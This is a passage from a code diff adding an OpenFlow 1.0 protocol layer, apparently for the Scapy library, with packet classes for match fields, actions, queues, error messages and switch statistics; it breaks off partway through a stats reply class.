+            if self.dl_vlan is None: l+="1"
+            else: l+="0"
+            if self.in_port is None: l+="1"
+            else: l+="0"
+        else:
+            w2 = binrepr(self.wildcards2)
+            l+="0"*(8-len(w2))
+            l+=w2
+
+        ### In order to write OFPMatch compliant with the specifications,
+        ### if prereq_autocomplete has been set to True
+        ### we assume ethertype=IP or nwproto=TCP when appropriate subfields are provided.
+        if prereq_autocomplete:
+            if self.dl_type is None:
+                if self.nw_src is not "0" or self.nw_dst is not "0" or self.nw_proto is not None or self.nw_tos is not None:
+                    p = p[:22] + struct.pack("!H", 0x0800) + p[24:]
+                    l = l[:-5] + "0" + l[-4:]
+            if self.nw_proto is None:
+                if self.tp_src is not None or self.tp_dst is not None:
+                    p = p[:22] + struct.pack("!H", 0x0800) + p[24:]
+                    l = l[:-5] + "0" + l[-4:]
+                    p = p[:25] + struct.pack("!B", 0x06) + p[26:]
+                    l = l[:-6] + "0" + l[-5:]
+
+        ins = b"".join(chb(int("".join(x),2)) for x in zip(*[iter(l)]*8))
+        p = ins + p[4:]
+        return p + pay
+
+
+###################### Actions ######################
+
+class _ofp_action_header(Packet):
+    name = "Dummy OpenFlow Action Header"
+
+    def post_build(self, p, pay):
+        if self.len is None:
+            l = len(p)+len(pay)
+            p = p[:2] + struct.pack("!H", l) + p[4:]
+        return p + pay
+
+ofp_action_types = {     0: "OFPAT_OUTPUT",
+                         1: "OFPAT_SET_VLAN_VID",
+                         2: "OFPAT_SET_VLAN_PCP",
+                         3: "OFPAT_STRIP_VLAN",
+                         4: "OFPAT_SET_DL_SRC",
+                         5: "OFPAT_SET_DL_DST",
+                         6: "OFPAT_SET_NW_SRC",
+                         7: "OFPAT_SET_NW_DST",
+                         8: "OFPAT_SET_NW_TOS",
+                         9: "OFPAT_SET_TP_SRC",
+                        10: "OFPAT_SET_TP_DST",
+                        11: "OFPAT_ENQUEUE",
+                     65535: "OFPAT_VENDOR" }
+
+class OFPATOutput(_ofp_action_header):
+    name = "OFPAT_OUTPUT"
+    fields_desc = [ ShortEnumField("type", 0, ofp_action_types),
+                    ShortField("len", 8),
+                    ShortEnumField("port", 0, ofp_port_no),
+                    ShortEnumField("max_len", "NO_BUFFER", ofp_max_len) ]
+
+class OFPATSetVLANVID(_ofp_action_header):
+    name = "OFPAT_SET_VLAN_VID"
+    fields_desc = [ ShortEnumField("type", 1, ofp_action_types),
+                    ShortField("len", 8),
+                    ShortField("vlan_vid", 0),
+                    XShortField("pad", 0) ]
+
+class OFPATSetVLANPCP(_ofp_action_header):
+    name = "OFPAT_SET_VLAN_PCP"
+    fields_desc = [ ShortEnumField("type", 2, ofp_action_types),
+                    ShortField("len", 8),
+                    ByteField("vlan_pcp", 0),
+                    X3BytesField("pad", 0) ]
+
+class OFPATStripVLAN(_ofp_action_header):
+    name = "OFPAT_STRIP_VLAN"
+    fields_desc = [ ShortEnumField("type", 3, ofp_action_types),
+                    ShortField("len", 8),
+                    XIntField("pad", 0) ]
+
+class OFPATSetDlSrc(_ofp_action_header):
+    name = "OFPAT_SET_DL_SRC"
+    fields_desc = [ ShortEnumField("type", 4, ofp_action_types),
+                    ShortField("len", 16),
+                    MACField("dl_addr", "0"),
+                    XBitField("pad", 0, 48) ]
+
+class OFPATSetDlDst(_ofp_action_header):
+    name = "OFPAT_SET_DL_DST"
+    fields_desc = [ ShortEnumField("type", 5, ofp_action_types),
+                    ShortField("len", 16),
+                    MACField("dl_addr", "0"),
+                    XBitField("pad", 0, 48) ]
+
+class OFPATSetNwSrc(_ofp_action_header):
+    name = "OFPAT_SET_NW_SRC"
+    fields_desc = [ ShortEnumField("type", 6, ofp_action_types),
+                    ShortField("len", 8),
+                    IPField("nw_addr", "0") ]
+
+class OFPATSetNwDst(_ofp_action_header):
+    name = "OFPAT_SET_NW_DST"
+    fields_desc = [ ShortEnumField("type", 7, ofp_action_types),
+                    ShortField("len", 8),
+                    IPField("nw_addr", "0") ]
+
+class OFPATSetNwToS(_ofp_action_header):
+    name = "OFPAT_SET_TP_TOS"
+    fields_desc = [ ShortEnumField("type", 8, ofp_action_types),
+                    ShortField("len", 8),
+                    ByteField("nw_tos", 0),
+                    X3BytesField("pad", 0) ]
+
+class OFPATSetTpSrc(_ofp_action_header):
+    name = "OFPAT_SET_TP_SRC"
+    fields_desc = [ ShortEnumField("type", 9, ofp_action_types),
+                    ShortField("len", 8),
+                    ShortField("tp_port", 0),
+                    XShortField("pad", 0) ]
+
+class OFPATSetTpDst(_ofp_action_header):
+    name = "OFPAT_SET_TP_DST"
+    fields_desc = [ ShortEnumField("type", 10, ofp_action_types),
+                    ShortField("len", 8),
+                    ShortField("tp_port", 0),
+                    XShortField("pad", 0) ]
+
+class OFPATEnqueue(_ofp_action_header):
+    name = "OFPAT_ENQUEUE"
+    fields_desc = [ ShortEnumField("type", 11, ofp_action_types),
+                    ShortField("len", 16),
+                    ShortEnumField("port", 0, ofp_port_no),
+                    XBitField("pad", 0, 48),
+                    IntField("queue_id", 0) ]
+
+class OFPATVendor(_ofp_action_header):
+    name = "OFPAT_VENDOR"
+    fields_desc = [ ShortEnumField("type", 65535, ofp_action_types),
+                    ShortField("len", 8),
+                    IntField("vendor", 0) ]
+
+ofp_action_cls = {     0: OFPATOutput,
+                       1: OFPATSetVLANVID,
+                       2: OFPATSetVLANPCP,
+                       3: OFPATStripVLAN,
+                       4: OFPATSetDlSrc,
+                       5: OFPATSetDlDst,
+                       6: OFPATSetNwSrc,
+                       7: OFPATSetNwDst,
+                       8: OFPATSetNwToS,
+                       9: OFPATSetTpSrc,
+                      10: OFPATSetTpDst,
+                      11: OFPATEnqueue,
+                   65535: OFPATVendor }
+
+class ActionPacketListField(PacketListField):
+    def m2i(self, pkt, s):
+        t = struct.unpack("!H", s[:2])[0]
+        return ofp_action_cls.get(t, Raw)(s)
+
+    @staticmethod
+    def _get_action_length(s):
+        return struct.unpack("!H", s[2:4])[0]
+
+    def getfield(self, pkt, s):
+        lst = []
+        remain = s
+
+        while remain:
+            l = ActionPacketListField._get_action_length(remain)
+            current = remain[:l]
+            remain = remain[l:]
+            p = self.m2i(pkt, current)
+            lst.append(p)
+
+        return remain, lst
+
+
+####################### Queues ######################
+
+class _ofp_queue_property_header(Packet):
+    name = "Dummy OpenFlow Queue Property Header"
+
+    def post_build(self, p, pay):
+        if self.len is None:
+            l = len(p)+len(pay)
+            p = p[:2] + struct.pack("!H", l) + p[4:]
+        return p + pay
+
+ofp_queue_property_types = { 0: "OFPQT_NONE",
+                             1: "OFPQT_MIN_RATE" }
+
+class OFPQTNone(_ofp_queue_property_header):
+    name = "OFPQT_NONE"
+    fields_desc = [ ShortEnumField("type", 0, ofp_queue_property_types),
+                    ShortField("len", 8),
+                    XIntField("pad", 0) ]
+
+class OFPQTMinRate(_ofp_queue_property_header):
+    name = "OFPQT_MIN_RATE"
+    fields_desc = [ ShortEnumField("type", 1, ofp_queue_property_types),
+                    ShortField("len", 16),
+                    XIntField("pad", 0),
+                    ShortField("rate", 0),
+                    XBitField("pad2", 0, 48) ]
+
+ofp_queue_property_cls = { 0: OFPQTNone,
+                           1: OFPQTMinRate }
+
+class QueuePropertyPacketListField(PacketListField):
+    def m2i(self, pkt, s):
+        t = struct.unpack("!H", s[:2])[0]
+        return ofp_queue_property_cls.get(t, Raw)(s)
+
+    @staticmethod
+    def _get_queue_property_length(s):
+        return struct.unpack("!H", s[2:4])[0]
+
+    def getfield(self, pkt, s):
+        lst = []
+        l = 0
+        ret = ""
+        remain = s
+
+        while remain:
+            l = QueuePropertyPacketListField._get_queue_property_length(remain)
+            current = remain[:l]
+            remain = remain[l:]
+            p = self.m2i(pkt, current)
+            lst.append(p)
+
+        return remain + ret, lst
+
+class OFPPacketQueue(Packet):
+
+    def extract_padding(self, s):
+        return "", s
+
+    def post_build(self, p, pay):
+        if self.properties == []:
+            p += str(OFPQTNone())
+        if self.len is None:
+            l = len(p)+len(pay)
+            p = p[:4] + struct.pack("!H", l) + p[6:]
+        return p + pay
+
+    name = "OFP_PACKET_QUEUE"
+    fields_desc = [ IntField("queue_id", 0),
+                    ShortField("len", None),
+                    XShortField("pad", 0),
+                    QueuePropertyPacketListField("properties", [], Packet,
+                                                 length_from=lambda pkt:pkt.len-8) ]
+
+class QueuePacketListField(PacketListField):
+
+    @staticmethod
+    def _get_queue_length(s):
+        return struct.unpack("!H", s[4:6])[0]
+
+    def getfield(self, pkt, s):
+        lst = []
+        l = 0
+        ret = ""
+        remain = s
+
+        while remain:
+            l = QueuePacketListField._get_queue_length(remain)
+            current = remain[:l]
+            remain = remain[l:]
+            p = OFPPacketQueue(current)
+            lst.append(p)
+
+        return remain + ret, lst
+
+
+#####################################################
+############## OpenFlow 1.0 Messages ################
+#####################################################
+
+class _ofp_header(Packet):
+    name = "Dummy OpenFlow Header"
+
+    def post_build(self, p, pay):
+        if self.len is None:
+            l = len(p)+len(pay)
+            p = p[:2] + struct.pack("!H", l) + p[4:]
+        return p + pay
+
+ofp_version = { 0x01: "OpenFlow 1.0",
+                0x02: "OpenFlow 1.1",
+                0x03: "OpenFlow 1.2",
+                0x04: "OpenFlow 1.3",
+                0x05: "OpenFlow 1.4" }
+
+ofp_type = {  0: "OFPT_HELLO",
+              1: "OFPT_ERROR",
+              2: "OFPT_ECHO_REQUEST",
+              3: "OFPT_ECHO_REPLY",
+              4: "OFPT_VENDOR",
+              5: "OFPT_FEATURES_REQUEST",
+              6: "OFPT_FEATURES_REPLY",
+              7: "OFPT_GET_CONFIG_REQUEST",
+              8: "OFPT_GET_CONFIG_REPLY",
+              9: "OFPT_SET_CONFIG",
+             10: "OFPT_PACKET_IN",
+             11: "OFPT_FLOW_REMOVED",
+             12: "OFPT_PORT_STATUS",
+             13: "OFPT_PACKET_OUT",
+             14: "OFPT_FLOW_MOD",
+             15: "OFPT_PORT_MOD",
+             16: "OFPT_STATS_REQUEST",
+             17: "OFPT_STATS_REPLY",
+             18: "OFPT_BARRIER_REQUEST",
+             19: "OFPT_BARRIER_REPLY",
+             20: "OFPT_QUEUE_GET_CONFIG_REQUEST",
+             21: "OFPT_QUEUE_GET_CONFIG_REPLY" }
+
+class OFPTHello(_ofp_header):
+    name = "OFPT_HELLO"
+    fields_desc = [ ByteEnumField("version", 0x01, ofp_version),
+                    ByteEnumField("type", 0, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0) ]
+    overload_fields = {TCP: {"sport": 6653}}
+
+#####################################################
+#################### OFPT_ERROR #####################
+#####################################################
+
+### this class will be used to display some messages
+### sent back by the switch after an error
+class OFPacketField(PacketField):
+    def getfield(self, pkt, s):
+        try:
+            l = s[2:4]
+            l = struct.unpack("!H", l)[0]
+            ofload = s[:l]
+            remain = s[l:]
+            return remain, OpenFlow(None, ofload)(ofload)
+        except:
+            return "", Raw(s)
+
+ofp_error_type = { 0: "OFPET_HELLO_FAILED",
+                   1: "OFPET_BAD_REQUEST",
+                   2: "OFPET_BAD_ACTION",
+                   3: "OFPET_FLOW_MOD_FAILED",
+                   4: "OFPET_PORT_MOD_FAILED",
+                   5: "OFPET_QUEUE_OP_FAILED" }
+
+class OFPETHelloFailed(_ofp_header):
+    name = "OFPET_HELLO_FAILED"
+    fields_desc = [ ByteEnumField("version", 0x01, ofp_version),
+                    ByteEnumField("type", 1, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("errtype", 0, ofp_error_type),
+                    ShortEnumField("errcode", 0, { 0: "OFPHFC_INCOMPATIBLE",
+                                                   1: "OFPHFC_EPERM" }),
+                    OFPacketField("data", "", Raw) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+class OFPETBadRequest(_ofp_header):
+    name = "OFPET_BAD_REQUEST"
+    fields_desc = [ ByteEnumField("version", 0x01, ofp_version),
+                    ByteEnumField("type", 1, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("errtype", 1, ofp_error_type),
+                    ShortEnumField("errcode", 0, { 0: "OFPBRC_BAD_VERSION",
+                                                   1: "OFPBRC_BAD_TYPE",
+                                                   2: "OFPBRC_BAD_STAT",
+                                                   3: "OFPBRC_BAD_VENDOR",
+                                                   4: "OFPBRC_BAD_SUBTYPE",
+                                                   5: "OFPBRC_EPERM",
+                                                   6: "OFPBRC_BAD_LEN",
+                                                   7: "OFPBRC_BUFFER_EMPTY",
+                                                   8: "OFPBRC_BUFFER_UNKNOWN" }),
+                    OFPacketField("data", "", Raw) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+class OFPETBadAction(_ofp_header):
+    name = "OFPET_BAD_ACTION"
+    fields_desc = [ ByteEnumField("version", 0x01, ofp_version),
+                    ByteEnumField("type", 1, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("errtype", 2, ofp_error_type),
+                    ShortEnumField("errcode", 0, { 0: "OFPBAC_BAD_TYPE",
+                                                   1: "OFPBAC_BAD_LEN",
+                                                   2: "OFPBAC_BAD_VENDOR",
+                                                   3: "OFPBAC_BAD_VENDOR_TYPE",
+                                                   4: "OFPBAC_BAD_OUT_PORT",
+                                                   5: "OFPBAC_BAD_ARGUMENT",
+                                                   6: "OFPBAC_EPERM",
+                                                   7: "OFPBAC_TOO_MANY",
+                                                   8: "OFPBAC_BAD_QUEUE" }),
+                    OFPacketField("data", "", Raw) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+class OFPETFlowModFailed(_ofp_header):
+    name = "OFPET_FLOW_MOD_FAILED"
+    fields_desc = [ ByteEnumField("version", 0x01, ofp_version),
+                    ByteEnumField("type", 1, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("errtype", 3, ofp_error_type),
+                    ShortEnumField("errcode", 0, { 0: "OFPFMFC_ALL_TABLES_FULL",
+                                                   1: "OFPFMFC_OVERLAP",
+                                                   2: "OFPFMFC_EPERM",
+                                                   3: "OFPFMFC_BAD_EMERG_TIMEOUT",
+                                                   4: "OFPFMFC_BAD_COMMAND",
+                                                   5: "OFPFMFC_UNSUPPORTED" }),
+                    OFPacketField("data", "", Raw) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+class OFPETPortModFailed(_ofp_header):
+    name = "OFPET_PORT_MOD_FAILED"
+    fields_desc = [ ByteEnumField("version", 0x01, ofp_version),
+                    ByteEnumField("type", 1, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("errtype", 4, ofp_error_type),
+                    ShortEnumField("errcode", 0, { 0: "OFPPMFC_BAD_PORT",
+                                                   1: "OFPPMFC_BAD_HW_ADDR" }),
+                    OFPacketField("data", "", Raw) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+class OFPETQueueOpFailed(_ofp_header):
+    name = "OFPET_QUEUE_OP_FAILED"
+    fields_desc = [ ByteEnumField("version", 0x01, ofp_version),
+                    ByteEnumField("type", 1, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("errtype", 5, ofp_error_type),
+                    ShortEnumField("errcode", 0, { 0: "OFPQOFC_BAD_PORT",
+                                                   1: "OFPQOFC_BAD_QUEUE",
+                                                   2: "OFPQOFC_EPERM" }),
+                    OFPacketField("data", "", Raw) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+# ofp_error_cls allows generic method OpenFlow() to choose the right class for dissection
+ofp_error_cls = { 0: OFPETHelloFailed,
+                  1: OFPETBadRequest,
+                  2: OFPETBadAction,
+                  3: OFPETFlowModFailed,
+                  4: OFPETPortModFailed,
+                  5: OFPETQueueOpFailed }
+
+################ end of OFPT_ERRORS #################
+
+class OFPTEchoRequest(_ofp_header):
+    name = "OFPT_ECHO_REQUEST"
+    fields_desc = [ ByteEnumField("version", 0x01, ofp_version),
+                    ByteEnumField("type", 2, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0) ]
+    overload_fields = {TCP: {"sport": 6653}}
+
+class OFPTEchoReply(_ofp_header):
+    name = "OFPT_ECHO_REPLY"
+    fields_desc = [ ByteEnumField("version", 0x01, ofp_version),
+                    ByteEnumField("type", 3, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0) ]
+    overload_fields = {TCP: {"sport": 6653}}
+
+class OFPTVendor(_ofp_header):
+    name = "OFPT_VENDOR"
+    fields_desc = [ ByteEnumField("version", 0x01, ofp_version),
+                    ByteEnumField("type", 4, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    IntField("vendor", 0) ]
+    overload_fields = {TCP: {"sport": 6653}}
+
+class OFPTFeaturesRequest(_ofp_header):
+    name = "OFPT_FEATURES_REQUEST"
+    fields_desc = [ ByteEnumField("version", 0x01, ofp_version),
+                    ByteEnumField("type", 5, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0) ]
+    overload_fields = {TCP: {"sport": 6653}}
+
+ofp_action_types_flags = list(ofp_action_types.values())[:-1]  # no ofpat_vendor flag
+
+class OFPTFeaturesReply(_ofp_header):
+    name = "OFPT_FEATURES_REPLY"
+    fields_desc = [ ByteEnumField("version", 0x01, ofp_version),
+                    ByteEnumField("type", 6, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    LongField("datapath_id", 0),
+                    IntField("n_buffers", 0),
+                    ByteField("n_tables", 1),
+                    X3BytesField("pad", 0),
+                    FlagsField("capabilities", 0, 32, [ "FLOW_STATS",
+                                                        "TABLE_STATS",
+                                                        "PORT_STATS",
+                                                        "STP",
+                                                        "RESERVED",
+                                                        "IP_REASM",
+                                                        "QUEUE_STATS",
+                                                        "ARP_MATCH_IP" ]),
+                    FlagsField("actions", 0, 32, ofp_action_types_flags),
+                    PacketListField("ports", None, OFPPhyPort,
+                                    length_from=lambda pkt:pkt.len-32) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+class OFPTGetConfigRequest(_ofp_header):
+    name = "OFPT_GET_CONFIG_REQUEST"
+    fields_desc = [ ByteEnumField("version", 0x01, ofp_version),
+                    ByteEnumField("type", 7, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0) ]
+    overload_fields = {TCP: {"sport": 6653}}
+
+class OFPTGetConfigReply(_ofp_header):
+    name = "OFPT_GET_CONFIG_REPLY"
+    fields_desc = [ ByteEnumField("version", 0x01, ofp_version),
+                    ByteEnumField("type", 8, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("flags", 0, { 0: "FRAG_NORMAL",
+                                                 1: "FRAG_DROP",
+                                                 2: "FRAG_REASM",
+                                                 3: "FRAG_MASK" }),
+                    ShortField("miss_send_len", 0) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+class OFPTSetConfig(_ofp_header):
+    name = "OFPT_SET_CONFIG"
+    fields_desc = [ ByteEnumField("version", 0x01, ofp_version),
+                    ByteEnumField("type", 9, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("flags", 0, { 0: "FRAG_NORMAL",
+                                                 1: "FRAG_DROP",
+                                                 2: "FRAG_REASM",
+                                                 3: "FRAG_MASK" }),
+                    ShortField("miss_send_len", 128) ]
+    overload_fields = {TCP: {"sport": 6653}}
+
+class OFPTPacketIn(_ofp_header):
+    name = "OFPT_PACKET_IN"
+    fields_desc = [ ByteEnumField("version", 0x01, ofp_version),
+                    ByteEnumField("type", 10, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    IntEnumField("buffer_id", "NO_BUFFER", ofp_buffer),
+                    ShortField("total_len", 0),
+                    ShortEnumField("in_port", 0, ofp_port_no),
+                    ByteEnumField("reason", 0, { 0: "OFPR_NO_MATCH",
+                                                 1: "OFPR_ACTION" }),
+                    XByteField("pad", 0),
+                    PacketField("data", None, Ether) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+class OFPTFlowRemoved(_ofp_header):
+    name = "OFPT_FLOW_REMOVED"
+    fields_desc = [ ByteEnumField("version", 0x01, ofp_version),
+                    ByteEnumField("type", 11, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    PacketField("match", OFPMatch(), OFPMatch),
+                    LongField("cookie", 0),
+                    ShortField("priority", 0),
+                    ByteEnumField("reason", 0, { 0: "OFPRR_IDLE_TIMEOUT",
+                                                 1: "OFPRR_HARD_TIMEOUT",
+                                                 2: "OFPRR_DELETE" }),
+                    XByteField("pad1", 0),
+                    IntField("duration_sec", 0),
+                    IntField("duration_nsec", 0),
+                    ShortField("idle_timeout", 0),
+                    XShortField("pad2", 0),
+                    LongField("packet_count", 0),
+                    LongField("byte_count", 0) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+class OFPTPortStatus(_ofp_header):
+    name = "OFPT_PORT_STATUS"
+    fields_desc = [ ByteEnumField("version", 0x01, ofp_version),
+                    ByteEnumField("type", 12, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ByteEnumField("reason", 0, { 0: "OFPPR_ADD",
+                                                 1: "OFPPR_DELETE",
+                                                 2: "OFPPR_MODIFY" }),
+                    XBitField("pad", 0, 56),
+                    PacketField("desc", OFPPhyPort(), OFPPhyPort) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+class OFPTPacketOut(_ofp_header):
+    name = "OFPT_PACKET_OUT"
+    fields_desc = [ ByteEnumField("version", 0x01, ofp_version),
+                    ByteEnumField("type", 13, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    IntEnumField("buffer_id", "NO_BUFFER", ofp_buffer),
+                    ShortEnumField("in_port", "NONE", ofp_port_no),
+                    FieldLenField("actions_len", None, fmt="H", length_of="actions"),
+                    ActionPacketListField("actions", [], Packet,
+                                          length_from=lambda pkt:pkt.actions_len),
+                    PacketField("data", None, Ether) ]
+    overload_fields = {TCP: {"sport": 6653}}
+
+class OFPTFlowMod(_ofp_header):
+    name = "OFPT_FLOW_MOD"
+    fields_desc = [ ByteEnumField("version", 0x01, ofp_version),
+                    ByteEnumField("type", 14, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    PacketField("match", OFPMatch(), OFPMatch),
+                    LongField("cookie", 0),
+                    ShortEnumField("cmd", 0, { 0: "OFPFC_ADD",
+                                               1: "OFPFC_MODIFY",
+                                               2: "OFPFC_MODIFY_STRICT",
+                                               3: "OFPFC_DELETE",
+                                               4: "OFPFC_DELETE_STRICT" }),
+                    ShortField("idle_timeout", 0),
+                    ShortField("hard_timeout", 0),
+                    ShortField("priority", 0),
+                    IntEnumField("buffer_id", "NO_BUFFER", ofp_buffer),
+                    ShortEnumField("out_port", "NONE", ofp_port_no),
+                    FlagsField("flags", 0, 16, [ "SEND_FLOW_REM",
+                                                 "CHECK_OVERLAP",
+                                                 "EMERG" ]),
+                    ActionPacketListField("actions", [], Packet,
+                                          length_from=lambda pkt:pkt.len-72) ]
+    overload_fields = {TCP: {"sport": 6653}}
+
+class OFPTPortMod(_ofp_header):
+    name = "OFPT_PORT_MOD"
+    fields_desc = [ ByteEnumField("version", 0x01, ofp_version),
+                    ByteEnumField("type", 15, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("port_no", 0, ofp_port_no),
+                    MACField("hw_addr", "0"),
+                    FlagsField("config", 0, 32, ofp_port_config),
+                    FlagsField("mask", 0, 32, ofp_port_config),
+                    FlagsField("advertise", 0, 32, ofp_port_features),
+                    IntField("pad", 0) ]
+    overload_fields = {TCP: {"sport": 6653}}
+
+#####################################################
+##################### OFPT_STATS ####################
+#####################################################
+
+ofp_stats_types = {     0: "OFPST_DESC",
+                        1: "OFPST_FLOW",
+                        2: "OFPST_AGGREGATE",
+                        3: "OFPST_TABLE",
+                        4: "OFPST_PORT",
+                        5: "OFPST_QUEUE",
+                    65535: "OFPST_VENDOR" }
+
+class OFPTStatsRequestDesc(_ofp_header):
+    name = "OFPST_STATS_REQUEST_DESC"
+    fields_desc = [ ByteEnumField("version", 0x01, ofp_version),
+                    ByteEnumField("type", 16, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("stats_type", 0, ofp_stats_types),
+                    FlagsField("flags", 0, 16, []) ]
+    overload_fields = {TCP: {"sport": 6653}}
+
+class OFPTStatsReplyDesc(_ofp_header):
+    name = "OFPST_STATS_REPLY_DESC"
+    fields_desc = [ ByteEnumField("version", 0x01, ofp_version),
+                    ByteEnumField("type", 17, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("stats_type", 0, ofp_stats_types),
+                    FlagsField("flags", 0, 16, []),
+                    StrFixedLenField("mfr_desc", "", 256),
+                    StrFixedLenField("hw_desc", "", 256),
+                    StrFixedLenField("sw_desc", "", 256),
+                    StrFixedLenField("serial_num", "", 32),
+                    StrFixedLenField("dp_desc", "", 256) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+class OFPTStatsRequestFlow(_ofp_header):
+    name = "OFPST_STATS_REQUEST_FLOW"
+    fields_desc = [ ByteEnumField("version", 0x01, ofp_version),
+                    ByteEnumField("type", 16, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("stats_type", 1, ofp_stats_types),
+                    FlagsField("flags", 0, 16, []),
+                    PacketField("match", OFPMatch(), OFPMatch),
+                    ByteEnumField("table_id", "ALL", ofp_table),
+                    ByteField("pad", 0),
+                    ShortEnumField("out_port", "NONE", ofp_port_no) ]
+    overload_fields = {TCP: {"sport": 6653}}
+
+class OFPFlowStats(Packet):
+
+    def post_build(self, p, pay):
+        if self.length is None:
+            l = len(p)+len(pay)
+            p = struct.pack("!H", l) + p[2:]
+        return p + pay
+
+    name = "OFP_FLOW_STATS"
+    fields_desc = [ ShortField("length", None),
+                    ByteField("table_id", 0),
+                    XByteField("pad1", 0),
+                    PacketField("match", OFPMatch(), OFPMatch),
+                    IntField("duration_sec", 0),
+                    IntField("duration_nsec", 0),
+                    ShortField("priority", 0),
+                    ShortField("idle_timeout", 0),
+                    ShortField("hard_timeout", 0),
+                    XBitField("pad2", 0, 48),
+                    LongField("cookie", 0),
+                    LongField("packet_count", 0),
+                    LongField("byte_count", 0),
+                    ActionPacketListField("actions", [], Packet,
+                                          length_from=lambda pkt:pkt.length-88) ]
+
+class FlowStatsPacketListField(PacketListField):
+
+    @staticmethod
+    def _get_flow_stats_length(s):
+        return struct.unpack("!H", s[:2])[0]
+
+    def getfield(self, pkt, s):
+        lst = []
+        remain = s
+
+        while remain:
+            l = FlowStatsPacketListField._get_flow_stats_length(remain)
+            current = remain[:l]
+            remain = remain[l:]
+            p = OFPFlowStats(current)
+            lst.append(p)
+
+        return remain, lst
+
+class OFPTStatsReplyFlow(_ofp_header):
+    name = "OFPST_STATS_REPLY_FLOW"
+    fields_desc = [ ByteEnumField("version", 0x01, ofp_version),
+                    ByteEnumField("type", 17, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("stats_type", 1, ofp_stats_types),
+                    FlagsField("flags", 0, 16, []),
+                    FlowStatsPacketListField("flow_stats", [], Packet,
+                                             length_from=lambda pkt:pkt.len-12) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+class OFPTStatsRequestAggregate(_ofp_header):
+    name = "OFPST_STATS_REQUEST_AGGREGATE"
+    fields_desc = [ ByteEnumField("version", 0x01, ofp_version),
+                    ByteEnumField("type", 16, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("stats_type", 2, ofp_stats_types),
+                    FlagsField("flags", 0, 16, []),
+                    PacketField("match", OFPMatch(), OFPMatch),
+                    ByteEnumField("table_id", "ALL", ofp_table),
+                    ByteField("pad", 0),
+                    ShortEnumField("out_port", "NONE", ofp_port_no) ]
+    overload_fields = {TCP: {"sport": 6653}}
+
+class OFPTStatsReplyAggregate(_ofp_header):
+    name = "OFPST_STATS_REPLY_AGGREGATE"
+    fields_desc = [ ByteEnumField("version", 0x01, ofp_version),
+                    ByteEnumField("type", 17, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("stats_type", 2, ofp_stats_types),
+                    FlagsField("flags", 0, 16, []),
+                    LongField("packet_count", 0),
+                    LongField("byte_count", 0),
+                    IntField("flow_count", 0),
+                    XIntField("pad", 0) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+class OFPTStatsRequestTable(_ofp_header):
+    name = "OFPST_STATS_REQUEST_TABLE"
+    fields_desc = [ ByteEnumField("version", 0x01, ofp_version),
+                    ByteEnumField("type", 16, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("stats_type", 3, ofp_stats_types),
+                    FlagsField("flags", 0, 16, []) ]
+    overload_fields = {TCP: {"sport": 6653}}
+
+class OFPTableStats(Packet):
+
+    def extract_padding(self, s):
+        return "", s
+
+    name = "OFP_TABLE_STATS"
+    fields_desc = [ ByteField("table_id", 0),
+                    X3BytesField("pad", 0),
+                    StrFixedLenField("name", "", 32),
+                    FlagsField("wildcards1", 0x003, 12, [ "DL_VLAN_PCP",
+                                                          "NW_TOS" ]),
+                    BitField("nw_dst_mask", 63, 6),        # 32 would be enough
+                    BitField("nw_src_mask", 63, 6),
+                    FlagsField("wildcards2", 0xff, 8, [ "IN_PORT",
+                                                        "DL_VLAN",
+                                                        "DL_SRC",
+                                                        "DL_DST",
+                                                        "DL_TYPE",
+                                                        "NW_PROTO",
+                                                        "TP_SRC",
+                                                        "TP_DST" ]),
+                    IntField("max_entries", 0),
+                    IntField("active_count", 0),
+                    LongField("lookup_count", 0),
+                    LongField("matched_count", 0) ]
+
+class OFPTStatsReplyTable(_ofp_header):
+    name = "OFPST_STATS_REPLY_TABLE"
+    fields_desc = [ ByteEnumField("version", 0x01, ofp_version),
